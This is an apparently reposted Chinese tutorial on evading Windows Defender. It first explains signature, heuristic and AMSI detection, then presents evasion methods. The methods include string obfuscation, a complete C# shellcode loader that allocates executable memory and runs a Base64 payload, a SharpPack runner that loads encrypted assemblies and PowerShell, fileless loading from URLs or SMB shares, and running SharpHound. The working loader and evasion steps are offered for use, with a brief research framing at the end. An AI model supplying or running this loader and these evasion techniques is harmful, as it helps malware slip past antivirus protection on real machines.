如何使用几个简单步骤绕过Defender
字数 1265 2025-08-24 07:48:22
绕过Windows Defender的详细技术指南
1. AV工作原理概述
在深入绕过技术之前,我们需要理解Windows Defender等防病毒软件的基本工作原理:
1.1 签名检测
- 基本功能:将文件或文件部分的哈希值与已知恶意文件数据库比较
- 检测方式:
- 整个文件的哈希值匹配
- 特定字节序列或字符串的匹配
- 关键代码段的特征识别
1.2 启发式检测
- 当签名检测不足时使用的高级检测方法
- 工作原理:
- 在安全环境中模拟运行可疑文件
- 分析汇编指令或代码行为
- 根据模拟结果判断恶意性
1.3 内存检测
- 通过AMSI(Anti-Malware Scan Interface)实现
- 检测对象:
- PowerShell脚本
- Office VBA宏
- 反射加载的C#程序集
- 特点:即使内容不接触磁盘也能检测
2. 绕过Defender的技术方法
2.1 方法一:字符串修改与混淆
2.1.1 识别触发点
- 使用工具:
- DefenderCheck
- Find-AVSignature
- AntiScan.me
- VirusTotal
- 方法:通过二分法逐步缩小触发检测的代码范围
2.1.2 修改技术
-
字符串重构:
- 修改触发检测的字符串
- 保持功能不变的情况下改变表现形式
-
字节级修改:
- 直接修改二进制文件中的特定字节
- 风险:可能破坏程序功能,需要逆向工程支持
-
代码混淆:
- 使用工具如ConfuserEx
- 改变代码结构但不改变功能
- 局限性:现代AV的启发式检测可能仍然能识别
2.2 方法二:自制C#加载器
2.2.1 基本Shellcode加载器
using System;
using System.Runtime.InteropServices;
namespace Shellcode_Runner {
class Program {
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
static void Main(string[] args) {
// Base64编码的shellcode
string b64_payload = "YOUR_BASE64_SHELLCODE";
byte[] buf = Convert.FromBase64String(b64_payload);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length,
0x3000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
2.2.2 进阶改进
- 加密payload:避免签名检测
- 行为混淆:打乱执行流程绕过启发式分析
- PE加载问题:直接加载EXE不可行,需考虑:
- pe_to_shellcode工具
- Donut框架
2.3 方法三:有效负载传递技术
2.3.1 NetLoader技术
- 原理:通过反射从不同来源加载C#程序集
- 加载来源:
- 本地路径
- URL
- SMB共享
- 关键优势:不接触磁盘 + AMSI绕过
2.3.2 SharpPack技术
- 功能:
- 从加密zip加载恶意代码
- 支持C#程序集和PowerShell脚本
- 输出重定向到文件
改进版SharpPack Runner示例:
using System;
using SharpPack;
namespace SharpPackRunner {
class Program {
static void Main(string[] args) {
if(args.Length != 6) {
Console.WriteLine("Usage: SharpPackRunner.exe -D/-P <encpath> <encpass> <outfile> <name> <args>");
return;
}
var sp = new SharpPackClass();
if(args[0] == "-D")
sp.RunDotNet(args[1], args[2], args[3], args[4], args[5]);
else if(args[0] == "-P")
sp.RunPowerShell(args[1], args[2], args[3], args[4], args[5]);
else
Console.WriteLine("Invalid option");
}
}
}
3. 实战应用示例
3.1 运行SharpHound
- 修改SharpHound.ps1,添加:
Invoke-BloodHound -CollectionMethod All
- 使用SharpPack执行
3.2 无文件执行方案
- 从网络位置加载可执行文件
- 直接输出到内存而非文件
- 完全避免磁盘写入
4. 防御机制与限制
- AMSI绕过:需要额外处理
- 反射加载:可能被高级检测捕获
- 行为分析:复杂行为可能触发防御
5. 总结与进阶方向
5.1 有效技术组合
- 内存加载 + 反射
- 加密payload
- 行为混淆
5.2 待研究领域
- 深度AMSI绕过技术
- C#反射机制的高级应用
- 对抗行为分析的方法
通过理解这些技术原理和方法,安全研究人员可以更好地测试和改进防御机制,而防御者则可以针对这些技术开发更有效的检测手段。